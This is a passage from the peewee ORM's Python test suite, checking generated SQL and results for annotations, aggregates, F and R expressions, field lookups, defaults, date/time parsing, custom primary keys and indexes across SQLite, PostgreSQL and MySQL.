]) # try with a join annotated = Blog.select().join(User).where(username='u2').annotate(Entry) self.assertSQLEqual(annotated.sql(), ( 'SELECT t1.`id`, t1.`title`, COUNT(t3.`pk`) AS count FROM `blog` AS t1 INNER JOIN `users` AS t2 ON t1.`id` = t2.`blog_id`\nINNER JOIN `entry` AS t3 ON t1.`id` = t3.`blog_id` WHERE t2.`username` = ? GROUP BY t1.`id`, t1.`title`', ['u2'] )) self.assertEqual([(b, b.count) for b in annotated], [ (blogs[1], 4), ]) def test_annotate_custom_aggregate(self): annotated = Blog.select().annotate(Entry, Max('pub_date', 'max_pub')) self.assertSQLEqual(annotated.sql(), ( 'SELECT t1.`id`, t1.`title`, MAX(t2.`pub_date`) AS max_pub FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id`, t1.`title`', [] )) def test_annotate_multiple(self): annotated = Blog.select().annotate(Entry).annotate(Entry, Max('pub_date', 'max_pub')) self.assertSQLEqual(annotated.sql(), ( 'SELECT t1.`id`, t1.`title`, COUNT(t2.`pk`) AS count, MAX(t2.`pub_date`) AS max_pub FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id`, t1.`title`', [] )) # No leftover asterisks self.assertEqual(annotated.sql()[0].count('*'), 0) def test_aggregate(self): blergs = [Blog.create(title='b%d' % i) for i in range(10)] ct = Blog.select().aggregate(Count('id')) self.assertEqual(ct, 10) max_id = Blog.select().aggregate(Max('id')) self.assertEqual(max_id, blergs[-1].id) class FQueryTestCase(BaseModelTestCase): def setUp(self): super(FQueryTestCase, self).setUp() RelNumberModel.drop_table(True) NumberModel.drop_table(True) NumberModel.create_table() RelNumberModel.create_table() def test_f_object_simple(self): nm1 = NumberModel.create(num1=1, num2=1) nm2 = NumberModel.create(num1=2, num2=2) nm12 = NumberModel.create(num1=1, num2=2) nm21 = NumberModel.create(num1=2, num2=1) sq = NumberModel.select().where(num1=F('num2')) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `num1`, `num2` FROM `numbermodel` WHERE `num1` = `num2`', [])) self.assertEqual(list(sq.order_by('id')), [nm1, nm2]) sq = NumberModel.select().where(num1__lt=F('num2')) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `num1`, `num2` FROM `numbermodel` WHERE `num1` < `num2`', [])) self.assertEqual(list(sq.order_by('id')), [nm12]) sq = NumberModel.select().where(num1=F('num2') - 1) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `num1`, `num2` FROM `numbermodel` WHERE `num1` = (`num2` - 1)', [])) self.assertEqual(list(sq.order_by('id')), [nm12]) def test_f_object_joins(self): nm1 = NumberModel.create(num1=1, num2=1) nm2 = NumberModel.create(num1=2, num2=2) nm12 = NumberModel.create(num1=1, num2=2) nm21 = NumberModel.create(num1=2, num2=1) rnm1 = RelNumberModel.create(rel_num=1, num=nm1) rnm2 = RelNumberModel.create(rel_num=1, num=nm2) rnm12 = RelNumberModel.create(rel_num=1, num=nm12) rnm21 = RelNumberModel.create(rel_num=1, num=nm21) sq = RelNumberModel.select().join(NumberModel).where(num1=F('rel_num', RelNumberModel)) self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`rel_num`, t1.`num_id` FROM `relnumbermodel` AS t1 INNER JOIN `numbermodel` AS t2 ON t1.`num_id` = t2.`id` WHERE t2.`num1` = t1.`rel_num`', [])) self.assertEqual(list(sq.order_by('id')), [rnm1, rnm12]) sq = RelNumberModel.select().join(NumberModel).where( Q(num1=F('rel_num', RelNumberModel)) | Q(num2=F('rel_num', RelNumberModel)) ) self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`rel_num`, t1.`num_id` FROM `relnumbermodel` AS t1 INNER JOIN `numbermodel` AS t2 ON t1.`num_id` = t2.`id` WHERE (t2.`num1` = t1.`rel_num` OR t2.`num2` = t1.`rel_num`)', [])) self.assertEqual(list(sq.order_by('id')), [rnm1, rnm12, rnm21]) class RQueryTestCase(BaseModelTestCase): def test_simple(self): user_a = User.create(username='user a') user_b = User.create(username='user b') user_c = User.create(username='user c') # test selecting with an alias users = User.select(['id', R('UPPER(username)', 'upper_name')]).order_by('id') self.assertEqual([u.upper_name for u in users], ['USER A', 'USER B', 'USER C']) users = User.select(['id', R('UPPER(username)', 'upper_name'), R('LOWER(username)', 'lower_name')]).order_by('id') self.assertEqual([u.upper_name for u in users], ['USER A', 'USER B', 'USER C']) self.assertEqual([u.lower_name for u in users], ['user a', 'user b', 'user c']) if BACKEND not in ('postgresql', 'mysql'): # test selecting with matching where clause as a node users = User.select(['id', R('UPPER(username)', 'upper_name')]).where(R('upper_name = %s', 'USER B')) self.assertEqual([(u.id, u.upper_name) for u in users], [(user_b.id, 'USER B')]) # test node multiple clauses users = User.select().where(R('username IN (%s, %s)', 'user a', 'user c')) self.assertEqual([u for u in users], [user_a, user_c]) # test selecting with where clause as a keyword users = User.select(['id', R('UPPER(username)', 'upper_name')]).where(username=R('LOWER(%s)', 'USER B')) self.assertEqual([(u.id, u.upper_name) for u in users], [(user_b.id, 'USER B')]) # test keyword multiple clauses users = User.select().where(username__in=R('LOWER(%s), LOWER(%s)', 'uSer A', 'uSeR c')) self.assertEqual([u for u in users], [user_a, user_c]) def test_subquery(self): b1 = self.create_blog(title='b1') b2 = self.create_blog(title='b2') for i in range(3): self.create_entry(blog=b1, title='e%d' % (i+1)) if i < 2: self.create_entry(blog=b2, title='e%d' % (i+1)) # test subquery in select blogs = Blog.select(['id', 'title', R('(SELECT COUNT(*) FROM entry WHERE entry.blog_id=blog.id)', 'ct')]).order_by('ct') self.assertEqual([(b.id, b.title, b.ct) for b in blogs], [ (b2.id, 'b2', 2), (b1.id, 'b1', 3), ]) b3 = self.create_blog(title='b3') # test subquery in where clause as a node blogs = Blog.select().where(R('NOT EXISTS (SELECT * FROM entry WHERE entry.blog_id = blog.id)')) self.assertEqual([b.id for b in blogs], [b3.id]) # test subquery in where clause as a keyword blogs = Blog.select().where(id__in=R('SELECT blog_id FROM entry WHERE entry.title = %s', 'e3')) self.assertEqual([b.id for b in blogs], [b1.id]) blogs = Blog.select().where(id__in=R('SELECT blog_id FROM entry WHERE entry.title IN (LOWER(%s), LOWER(%s))', 'E2', 'e3')) self.assertEqual([b.id for b in blogs], [b1.id, b2.id]) def test_combining(self): b1 = self.create_blog(title='b1') b2 = self.create_blog(title='b2') blogs = Blog.select().where(R('title = %s', 'b1') | R('title = %s', 'b2')).order_by('id') self.assertSQLEqual(blogs.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (title = ? OR title = ?) ORDER BY `id` ASC', ['b1', 'b2'])) self.assertEqual(list(blogs), [b1, b2]) blogs = Blog.select().where(R('title = %s', 'b1') & (R('id = %s', 2) | R('id = %s', 3))) self.assertSQLEqual(blogs.sql(), ('SELECT `id`, `title` FROM `blog` WHERE ((title = ?) AND (id = ? OR id = ?))', ['b1', 2, 3])) class SelfReferentialFKTestCase(BaseModelTestCase): def setUp(self): super(SelfReferentialFKTestCase, self).setUp() Category.drop_table(True) Category.create_table() def tearDown(self): super(SelfReferentialFKTestCase, self).tearDown() Category.drop_table(True) def test_self_referential_fk(self): # let's make a small tree python = Category.create(name='python') django = Category.create(name='django', parent=python) flask = Category.create(name='flask', parent=python) flask_peewee = Category.create(name='flask-peewee', parent=flask) self.assertEqual(flask_peewee.parent.name, 'flask') self.assertEqual(flask_peewee.parent.parent.name, 'python') self.assertEqual(list(python.children.order_by('name')), [ django, flask ]) self.assertEqual(list(flask.children), [flask_peewee]) self.assertEqual(list(flask_peewee.children), []) class ExplicitColumnNameTestCase(BasePeeweeTestCase): def setUp(self): super(ExplicitColumnNameTestCase, self).setUp() ExplicitEntry.drop_table(True) LegacyEntry.drop_table(True) LegacyBlog.drop_table(True) LegacyBlog.create_table() LegacyEntry.create_table() ExplicitEntry.create_table() def test_alternate_model_creation(self): lb = LegacyBlog.create(name='b1') self.assertEqual(lb.name, 'b1') self.assertTrue(lb.id >= 1) lb_db = LegacyBlog.get(id=lb.id) self.assertEqual(lb_db.name, 'b1') le = LegacyEntry.create(name='e1', blog=lb) self.assertEqual(le.name, 'e1') self.assertEqual(le.blog, lb) self.assertEqual(le.old_blog, lb.id) le_db = LegacyEntry.get(id=le.id) self.assertEqual(le_db.name, 'e1') self.assertEqual(le_db.blog, lb) self.assertEqual(le.old_blog, lb.id) ee = ExplicitEntry.create(name='e2', blog=lb) self.assertEqual(ee.name, 'e2') self.assertEqual(ee.blog, lb) self.assertEqual(ee.blog_id, lb.id) ee_db = ExplicitEntry.get(id=ee.id) self.assertEqual(ee_db.name, 'e2') self.assertEqual(ee_db.blog, lb) self.assertEqual(ee_db.blog_id, lb.id) def test_querying(self): lb1 = LegacyBlog.create(name='b1') lb2 = LegacyBlog.create(name='b2') le11 = LegacyEntry.create(name='e11', blog=lb1) le12 = LegacyEntry.create(name='e12', blog=lb1) le21 = LegacyEntry.create(name='e21', blog=lb2) ee = ExplicitEntry.create(name='ee1', blog=lb1) self.assertEqual(list(LegacyBlog.select().join(LegacyEntry).where(name='e11')), [lb1]) self.assertEqual(list(LegacyEntry.select().join(LegacyBlog).where(name='b1')), [le11, le12]) self.assertEqual(list(ExplicitEntry.select().join(LegacyBlog).where(name='b1')), [ee]) self.assertEqual(list(LegacyBlog.filter(legacyentry_set__name='e21')), [lb2]) self.assertEqual(list(LegacyEntry.filter(blog__name='b2')), [le21]) self.assertEqual(list(ExplicitEntry.filter(blog__name='b1')), [ee]) aq = LegacyBlog.select().annotate(LegacyEntry) ab1, ab2 = list(aq) self.assertEqual(ab1.name, 'b1') self.assertEqual(ab1.count, 2) self.assertEqual(ab2.name, 'b2') self.assertEqual(ab2.count, 1) aq2 = LegacyBlog.select().annotate(ExplicitEntry) res = list(aq2) self.assertEqual(len(res), 1) self.assertEqual(res[0].count, 1) blogs = LegacyBlog.select().order_by(('name', 'desc')) self.assertEqual(list(blogs), [lb2, lb1]) entries = LegacyEntry.select().join(LegacyBlog).order_by(('name', 'desc'), (LegacyEntry, 'id', 'asc')) self.assertEqual(list(entries), [le21, le11, le12]) entries = LegacyEntry.select().where(old_blog=lb2.id) self.assertEqual(list(entries), [le21]) entries = ExplicitEntry.select().where(blog=lb1.id) self.assertEqual(list(entries), [ee]) blogs = LegacyBlog.select(['id', 'old_name']) b1, b2 = list(blogs) self.assertEqual(b1.name, 'b1') self.assertEqual(b1.id, lb1.id) self.assertEqual(b2.name, 'b2') self.assertEqual(b2.id, lb2.id) entries = LegacyEntry.select(['id', 'old_blog', 'name']).where(name='e21') e, = list(entries) self.assertEqual(e.id, le21.id) self.assertEqual(e.name, 'e21') self.assertEqual(e.blog, lb2) class FieldTypeTests(BaseModelTestCase): def setUp(self): super(FieldTypeTests, self).setUp() NullModel.drop_table(True) DefaultVals.drop_table(True) NullModel.create_table() DefaultVals.create_table() def jd(self, d): return datetime.datetime(2010, 1, d) def create_common(self): b = self.create_blog(title='dummy') self.create_entry(title='b1', content='b1', pub_date=self.jd(1), blog=b) self.create_entry(title='b2', content='b2', pub_date=self.jd(2), blog=b) self.create_entry(title='b3', content='b3', pub_date=self.jd(3), blog=b) def assertSQEqual(self, sq, lst): self.assertEqual(sorted([x.title for x in sq]), sorted(lst)) def test_lookups_charfield(self): self.create_common() self.assertSQEqual(Entry.select().where(title__gt='b1'), ['b2', 'b3']) self.assertSQEqual(Entry.select().where(title__gte='b2'), ['b2', 'b3']) self.assertSQEqual(Entry.select().where(title__lt='b3'), ['b1', 'b2']) self.assertSQEqual(Entry.select().where(title__lte='b2'), ['b1', 'b2']) self.assertSQEqual(Entry.select().where(title__icontains='b'), ['b1', 'b2', 'b3']) self.assertSQEqual(Entry.select().where(title__icontains='2'), ['b2']) self.assertSQEqual(Entry.select().where(title__contains='b'), ['b1', 'b2', 'b3']) self.assertSQEqual(Entry.select().where(title__in=['b1', 'b3']), ['b1', 'b3']) self.assertSQEqual(Entry.select().where(title__in=[]), []) self.assertSQEqual(Entry.select().where(title__ieq='B1'), ['b1']) self.assertSQEqual(Entry.select().where(title__ieq='b3'), ['b3']) self.assertSQEqual(Entry.select().where(title__ieq='B'), []) def test_lookups_datefield(self): self.create_common() self.assertSQEqual(Entry.select().where(pub_date__gt=self.jd(1)), ['b2', 'b3']) self.assertSQEqual(Entry.select().where(pub_date__gte=self.jd(2)), ['b2', 'b3']) self.assertSQEqual(Entry.select().where(pub_date__lt=self.jd(3)), ['b1', 'b2']) self.assertSQEqual(Entry.select().where(pub_date__lte=self.jd(2)), ['b1', 'b2']) self.assertSQEqual(Entry.select().where(pub_date__in=[self.jd(1), self.jd(3)]), ['b1', 'b3']) self.assertSQEqual(Entry.select().where(pub_date__in=[]), []) def test_lookups_boolean_field(self): user_a = User.create(username='a', active=True) user_b = User.create(username='b') active = User.select().where(active=True) self.assertEqual(list(active), [user_a]) inactive = User.select().where(active=False) self.assertEqual(list(inactive), [user_b]) from_db_a = User.get(username='a') self.assertTrue(from_db_a.active) from_db_b = User.get(username='b') self.assertFalse(from_db_b.active) nm = NullModel.create() self.assertTrue(nm.boolean_field is None) from_db = NullModel.get(id=nm.id) self.assertTrue(nm.boolean_field is None) nm = NullModel.create(boolean_field=False) self.assertTrue(nm.boolean_field is False) from_db = NullModel.get(id=nm.id) self.assertTrue(nm.boolean_field is False) def test_null_models_and_lookups(self): nm = NullModel.create() self.assertEqual(nm.char_field, None) self.assertEqual(nm.text_field, None) self.assertEqual(nm.datetime_field, None) self.assertEqual(nm.int_field, None) self.assertEqual(nm.float_field, None) self.assertEqual(nm.decimal_field1, None) self.assertEqual(nm.decimal_field2, None) null_lookup = NullModel.select().where(char_field__is=None) self.assertSQLEqual(null_lookup.sql(), ('SELECT `id`, `char_field`, `text_field`, `datetime_field`, `int_field`, `float_field`, `decimal_field1`, `decimal_field2`, `double_field`, `bigint_field`, `date_field`, `time_field`, `boolean_field` FROM `nullmodel` WHERE `char_field` IS NULL', [])) self.assertEqual(list(null_lookup), [nm]) null_lookup = NullModel.select().where(~Q(char_field__is=None)) self.assertSQLEqual(null_lookup.sql(), ('SELECT `id`, `char_field`, `text_field`, `datetime_field`, `int_field`, `float_field`, `decimal_field1`, `decimal_field2`, `double_field`, `bigint_field`, `date_field`, `time_field`, `boolean_field` FROM `nullmodel` WHERE NOT `char_field` IS NULL', [])) non_null_lookup = NullModel.select().where(char_field='') self.assertSQLEqual(non_null_lookup.sql(), ('SELECT `id`, `char_field`, `text_field`, `datetime_field`, `int_field`, `float_field`, `decimal_field1`, `decimal_field2`, `double_field`, `bigint_field`, `date_field`, `time_field`, `boolean_field` FROM `nullmodel` WHERE `char_field` = ?', [''])) self.assertEqual(list(non_null_lookup), []) isnull_lookup = NullModel.select().where(char_field__isnull=True) self.assertSQLEqual(isnull_lookup.sql(), ('SELECT `id`, `char_field`, `text_field`, `datetime_field`, `int_field`, `float_field`, `decimal_field1`, `decimal_field2`, `double_field`, `bigint_field`, `date_field`, `time_field`, `boolean_field` FROM `nullmodel` WHERE `char_field` IS NULL', [])) isnull_lookup = NullModel.select().where(char_field__isnull=False) self.assertSQLEqual(isnull_lookup.sql(), ('SELECT `id`, `char_field`, `text_field`, `datetime_field`, `int_field`, `float_field`, `decimal_field1`, `decimal_field2`, `double_field`, `bigint_field`, `date_field`, `time_field`, `boolean_field` FROM `nullmodel` WHERE `char_field` IS NOT NULL', [])) isnull_lookup = NullModel.select().where(~Q(char_field__isnull=True)) self.assertSQLEqual(isnull_lookup.sql(), ('SELECT `id`, `char_field`, `text_field`, `datetime_field`, `int_field`, `float_field`, `decimal_field1`, `decimal_field2`, `double_field`, `bigint_field`, `date_field`, `time_field`, `boolean_field` FROM `nullmodel` WHERE NOT `char_field` IS NULL', [])) isnull_lookup = NullModel.select().where(~Q(char_field__isnull=False)) self.assertSQLEqual(isnull_lookup.sql(), ('SELECT `id`, `char_field`, `text_field`, `datetime_field`, `int_field`, `float_field`, `decimal_field1`, `decimal_field2`, `double_field`, `bigint_field`, `date_field`, `time_field`, `boolean_field` FROM `nullmodel` WHERE NOT `char_field` IS NOT NULL', [])) nm_from_db = NullModel.get(id=nm.id) self.assertEqual(nm_from_db.char_field, None) self.assertEqual(nm_from_db.text_field, None) self.assertEqual(nm_from_db.datetime_field, None) self.assertEqual(nm_from_db.int_field, None) self.assertEqual(nm_from_db.float_field, None) self.assertEqual(nm_from_db.decimal_field1, None) self.assertEqual(nm_from_db.decimal_field2, None) nm.char_field = '' nm.text_field = '' nm.int_field = 0 nm.float_field = 0.0 nm.decimal_field1 = 0 nm.decimal_field2 = decimal.Decimal(0) nm.save() nm_from_db = NullModel.get(id=nm.id) self.assertEqual(nm_from_db.char_field, '') self.assertEqual(nm_from_db.text_field, '') self.assertEqual(nm_from_db.datetime_field, None) self.assertEqual(nm_from_db.int_field, 0) self.assertEqual(nm_from_db.float_field, 0.0) self.assertEqual(nm_from_db.decimal_field1, decimal.Decimal(0)) self.assertEqual(nm_from_db.decimal_field2, decimal.Decimal(0)) def test_decimal_precision(self): D = decimal.Decimal nm = NullModel() nm.decimal_field1 = D("3.14159265358979323") nm.decimal_field2 = D("100.33") nm.save() nm_from_db = NullModel.get(id=nm.id) # sqlite doesn't enforce these constraints properly #self.assertEqual(nm_from_db.decimal_field1, decimal.Decimal("3.14159")) self.assertEqual(nm_from_db.decimal_field2, D("100.33")) class TestDecimalModel(TestModel): df1 = DecimalField(decimal_places=2, auto_round=True) df2 = DecimalField(decimal_places=2, auto_round=True, rounding=decimal.ROUND_UP) f1 = TestDecimalModel.df1.db_value f2 = TestDecimalModel.df2.db_value self.assertEqual(f1(D('1.2345')), D('1.23')) self.assertEqual(f2(D('1.2345')), D('1.24')) def test_default_values(self): now = datetime.datetime.now() - datetime.timedelta(seconds=1) default_model = DefaultVals() # defaults are applied at initialization self.assertEqual(default_model.published, True) self.assertTrue(default_model.pub_date is not None) # saving the model will apply the defaults default_model.save() self.assertTrue(default_model.published) self.assertTrue(default_model.pub_date is not None) self.assertTrue(default_model.pub_date >= now) # overriding the defaults after initial save is fine default_model.pub_date = None default_model.save() self.assertEqual(default_model.pub_date, None) self.assertEqual(default_model.published, True) # overriding the defaults after initial save is fine default_model.published = False default_model.save() self.assertEqual(default_model.published, False) self.assertEqual(default_model.pub_date, None) # ensure that the overridden default was propagated to the db from_db = DefaultVals.get(id=default_model.id) self.assertFalse(default_model.published) self.assertEqual(default_model.pub_date, None) # test via the create method default_model2 = DefaultVals.create() self.assertTrue(default_model2.published) self.assertTrue(default_model2.pub_date is not None) self.assertTrue(default_model2.pub_date >= now) # pull it out of the database from_db = DefaultVals.get(id=default_model2.id) self.assertTrue(from_db.published) self.assertTrue(from_db.pub_date is not None) self.assertTrue(from_db.pub_date >= now) # check that manually specifying a zero but not-none value works default_model3 = DefaultVals.create(published=False) self.assertFalse(default_model3.published) self.assertTrue(default_model3.pub_date >= now) def test_naming(self): self.assertEqual(Entry._meta.fields['blog'].verbose_name, 'Blog') self.assertEqual(Entry._meta.fields['title'].verbose_name, 'Wacky title') def test_between_lookup(self): nm1 = NullModel.create(int_field=1) nm2 = NullModel.create(int_field=2) nm3 = NullModel.create(int_field=3) nm4 = NullModel.create(int_field=4) sq = NullModel.select().where(int_field__between=[2, 3]) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `char_field`, `text_field`, `datetime_field`, `int_field`, `float_field`, `decimal_field1`, `decimal_field2`, `double_field`, `bigint_field`, `date_field`, `time_field`, `boolean_field` FROM `nullmodel` WHERE `int_field` BETWEEN ? AND ?', [2, 3])) self.assertEqual(list(sq.order_by('id')), [nm2, nm3]) def test_double_field(self): nm1 = NullModel.create(double_field=3.14159265358979) from_db = NullModel.get(id=nm1.id) self.assertEqual(from_db.double_field, 3.14159265358979) def test_bigint_field(self): nm1 = NullModel.create(bigint_field=1000000000000) from_db = NullModel.get(id=nm1.id) self.assertEqual(from_db.bigint_field, 1000000000000) def test_date_and_time_fields(self): dt1 = datetime.datetime(2011, 1, 2, 11, 12, 13, 54321) dt2 = datetime.datetime(2011, 1, 2, 11, 12, 13) d1 = datetime.date(2011, 1, 3) t1 = datetime.time(11, 12, 13, 54321) t2 = datetime.time(11, 12, 13) nm1 = NullModel.create(datetime_field=dt1, date_field=d1, time_field=t1) nm2 = NullModel.create(datetime_field=dt2, time_field=t2) nmf1 = NullModel.get(id=nm1.id) self.assertEqual(nmf1.date_field, d1) if BACKEND == 'mysql': # mysql doesn't store microseconds self.assertEqual(nmf1.datetime_field, dt2) self.assertEqual(nmf1.time_field, t2) else: self.assertEqual(nmf1.datetime_field, dt1) self.assertEqual(nmf1.time_field, t1) nmf2 = NullModel.get(id=nm2.id) self.assertEqual(nmf2.datetime_field, dt2) self.assertEqual(nmf2.time_field, t2) def test_various_formats(self): class FormatModel(Model): dtf = DateTimeField() df = DateField() tf = TimeField() dtf = FormatModel._meta.fields['dtf'] df = FormatModel._meta.fields['df'] tf = FormatModel._meta.fields['tf'] d = datetime.datetime self.assertEqual(dtf.python_value('2012-01-01 11:11:11.123456'), d( 2012, 1, 1, 11, 11, 11, 123456 )) self.assertEqual(dtf.python_value('2012-01-01 11:11:11'), d( 2012, 1, 1, 11, 11, 11 )) self.assertEqual(dtf.python_value('2012-01-01'), d( 2012, 1, 1, )) self.assertEqual(dtf.python_value('2012 01 01'), '2012 01 01') d = datetime.date self.assertEqual(df.python_value('2012-01-01 11:11:11.123456'), d( 2012, 1, 1, )) self.assertEqual(df.python_value('2012-01-01 11:11:11'), d( 2012, 1, 1, )) self.assertEqual(df.python_value('2012-01-01'), d( 2012, 1, 1, )) self.assertEqual(df.python_value('2012 01 01'), '2012 01 01') t = datetime.time self.assertEqual(tf.python_value('2012-01-01 11:11:11.123456'), t( 11, 11, 11, 123456 )) self.assertEqual(tf.python_value('2012-01-01 11:11:11'), t( 11, 11, 11 )) self.assertEqual(tf.python_value('11:11:11.123456'), t( 11, 11, 11, 123456 )) self.assertEqual(tf.python_value('11:11:11'), t( 11, 11, 11 )) self.assertEqual(tf.python_value('11:11'), t( 11, 11, )) self.assertEqual(tf.python_value('11:11 AM'), '11:11 AM') class CustomFormatsModel(Model): dtf = DateTimeField(formats=['%b %d, %Y %I:%M:%S %p']) df = DateField(formats=['%b %d, %Y']) tf = TimeField(formats=['%I:%M %p']) dtf = CustomFormatsModel._meta.fields['dtf'] df = CustomFormatsModel._meta.fields['df'] tf = CustomFormatsModel._meta.fields['tf'] d = datetime.datetime self.assertEqual(dtf.python_value('2012-01-01 11:11:11.123456'), '2012-01-01 11:11:11.123456') self.assertEqual(dtf.python_value('Jan 1, 2012 11:11:11 PM'), d( 2012, 1, 1, 23, 11, 11, )) d = datetime.date self.assertEqual(df.python_value('2012-01-01'), '2012-01-01') self.assertEqual(df.python_value('Jan 1, 2012'), d( 2012, 1, 1, )) t = datetime.time self.assertEqual(tf.python_value('11:11:11'), '11:11:11') self.assertEqual(tf.python_value('11:11 PM'), t( 23, 11 )) class NonIntegerPKTestCase(BasePeeweeTestCase): def setUp(self): super(NonIntegerPKTestCase, self).setUp() RelNonIntPK.drop_table(True) NonIntPK.drop_table(True) NonIntPK.create_table() RelNonIntPK.create_table() def test_creation(self): # create using the .create() API ni1 = NonIntPK.create(id='a1', name='ni1') self.assertEqual(ni1.id, 'a1') # explicitly use force_insert w/.save() ni2 = NonIntPK(id='a2', name='ni2') ni2.save(force_insert=True) self.assertEqual(ni2.id, 'a2') # saving again triggers in update ni2.save() self.assertEqual(ni2.id, 'a2') # check that we only have 2 instances self.assertEqual(NonIntPK.select().count(), 2) # check that can get from the db ni1_db = NonIntPK.get(id='a1') self.assertEqual(ni1_db, ni1) # check that can iterate them self.assertEqual(list(NonIntPK.select().order_by('id')), [ ni1, ni2, ]) def test_foreign_keys(self): ni1 = NonIntPK.create(id='a1', name='ni1') ni2 = NonIntPK.create(id='a2', name='ni2') rni11 = RelNonIntPK(non_int_pk=ni1, name='rni11') rni12 = RelNonIntPK(non_int_pk=ni1, name='rni12') rni11.save() rni12.save() self.assertEqual(list(ni1.relnonintpk_set.order_by('id')), [ rni11, rni12, ]) self.assertEqual(list(ni2.relnonintpk_set.order_by('id')), []) rni21 = RelNonIntPK.create(non_int_pk=ni2, name='rni21') class CustomPKColumnTestCase(BasePeeweeTestCase): """ refs issue 70 -- need to test places where pk_name is used explicitly * model collect_queries """ def setUp(self): super(CustomPKColumnTestCase, self).setUp() CPKRel.drop_table(True) CustomPKColumn.drop_table(True) CustomPKColumn.create_table() CPKRel.create_table() def tearDown(self): super(CustomPKColumnTestCase, self).tearDown() CPKRel.drop_table(True) CustomPKColumn.drop_table(True) def get_last(self, n=1): return [x.msg for x in self.qh.queries[-n:]] def test_create_sql(self): sq = test_db.create_table_query(CPKRel, False) if BACKEND == 'sqlite': self.assertEqual(sq, 'CREATE TABLE "cpkrel" ("id" INTEGER NOT NULL PRIMARY KEY, "custom_id" INTEGER NOT NULL REFERENCES "custompkcolumn" ("pk"));') elif BACKEND == 'postgresql': self.assertEqual(sq, 'CREATE TABLE "cpkrel" ("id" SERIAL NOT NULL PRIMARY KEY, "custom_id" INTEGER NOT NULL REFERENCES "custompkcolumn" ("pk"));') elif BACKEND == 'mysql': self.assertEqual(sq, 'CREATE TABLE `cpkrel` (`id` INTEGER AUTO_INCREMENT NOT NULL PRIMARY KEY, `custom_id` INTEGER NOT NULL REFERENCES `custompkcolumn` (`pk`));') def test_joining(self): sq = CPKRel.select().join(CustomPKColumn) self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`custom_id` FROM `cpkrel` AS t1 INNER JOIN `custompkcolumn` AS t2 ON t1.`custom_id` = t2.`pk`', [])) sq = CustomPKColumn.select().join(CPKRel) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`xxx` FROM `custompkcolumn` AS t1 INNER JOIN `cpkrel` AS t2 ON t1.`pk` = t2.`custom_id`', [])) def test_model_operations(self): cpk = CustomPKColumn.create() self.assertSQLEqual(self.get_last()[0], ( 'INSERT INTO `custompkcolumn` (`xxx`) VALUES (?)', [''] )) self.assertEqual(CustomPKColumn.select().count(), 1) self.assertSQLEqual(self.get_last()[0], ( 'SELECT COUNT(pk) FROM `custompkcolumn`', [] )) cpk.save() self.assertSQLEqual(self.get_last()[0], ( 'UPDATE `custompkcolumn` SET `xxx`=? WHERE `pk` = ?', ['', cpk.get_pk()] )) self.assertEqual(CustomPKColumn.select().count(), 1) sq = CustomPKColumn.select('custom_pk') self.assertSQLEqual(sq.sql(), ('SELECT `pk` FROM `custompkcolumn`', [])) res = sq.get() self.assertEqual(res.custom_pk, cpk.get_pk()) cpk_rel = CPKRel.create(custom=cpk) self.assertSQLEqual(self.get_last()[0], ( 'INSERT INTO `cpkrel` (`custom_id`) VALUES (?)', [cpk.get_pk()] )) from_db = CPKRel.get(id=cpk_rel.id) self.assertEqual(from_db.custom, cpk) self.assertSQLEqual(self.get_last()[0], ( 'SELECT `pk`, `xxx` FROM `custompkcolumn` WHERE `pk` = ? LIMIT 1', [cpk.get_pk()] )) self.assertTrue(from_db.custom.custom_pk == cpk.get_pk() == cpk.custom_pk) cpk = CustomPKColumn.create() pk = cpk.get_pk() cpk.delete_instance() self.assertSQLEqual(self.get_last()[0], ( 'DELETE FROM `custompkcolumn` WHERE `pk` = ?', [pk] )) def test_subquery(self): cpk_q = CustomPKColumn.select().where(xxx='faps') cpk_rel_q = CPKRel.select().where(custom__in=cpk_q) self.assertSQLEqual(cpk_rel_q.sql(), ('SELECT `id`, `custom_id` FROM `cpkrel` WHERE `custom_id` IN (SELECT t1.`pk` FROM `custompkcolumn` AS t1 WHERE t1.`xxx` = ?)', ['faps'])) def test_annotate(self): sq = CPKRel.select().annotate(CustomPKColumn) self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`custom_id`, COUNT(t2.`pk`) AS count FROM `cpkrel` AS t1 INNER JOIN `custompkcolumn` AS t2 ON t1.`custom_id` = t2.`pk` GROUP BY t1.`id`, t1.`custom_id`', [])) class ModelIndexTestCase(BaseModelTestCase): def setUp(self): super(ModelIndexTestCase, self).setUp() UniqueModel.drop_table(True) UniqueModel.create_table() MultiIndexModel.drop_table(True) MultiIndexModel.create_table() def get_sorted_indexes(self, model): return test_db.get_indexes_for_table(model._meta.db_table) def check_postgresql_indexes(self, e, u): self.assertEqual(e, [ ('entry_blog_id', False), ('entry_pkey', True), ]) self.assertEqual(u, [ ('users_active', False), ('users_blog_id', False), ('users_pkey', True), ]) def check_sqlite_indexes(self, e, u): # when using an integer not null primary key, sqlite makes # the column an alias for the internally-used ``rowid``, # which is not visible to applications self.assertEqual(e, [ ('entry_blog_id', False), #('entry_pk', True), ]) self.assertEqual(u, [ ('users_active', False), ('users_blog_id', False), #('users_id', True), ]) def check_mysql_indexes(self, e, u): self.assertEqual(e, [ ('PRIMARY', True), ('entry_blog_id', False), ]) self.assertEqual(u, [ ('PRIMARY', True), ('users_active', False), ('users_blog_id', False), ]) def test_primary_key_index(self): # this feels pretty dirty to me but until I grok the details of index # naming and creation i'm going to check each backend if BACKEND == 'postgresql': method = self.check_postgresql_indexes elif BACKEND == 'mysql': method = self.check_mysql_indexes else: method = self.check_sqlite_indexes entry_indexes = self.get_sorted_indexes(Entry) user_indexes = self.get_sorted_indexes(User) method(entry_indexes, user_indexes) def test_unique_index(self): uniq1 = UniqueModel.create(name='a') uniq2 = UniqueModel.create(name='b') self.assertRaises(Exception, UniqueModel.create, name='a') test_db.rollback() def test_multi_index(self): mi1 = MultiIndexModel.create(f1='a', f2='a', f3='a') mi2 = MultiIndexModel.create(f1='b', f2='b', f3='b') self.assertRaises(Exception, MultiIndexModel.create, 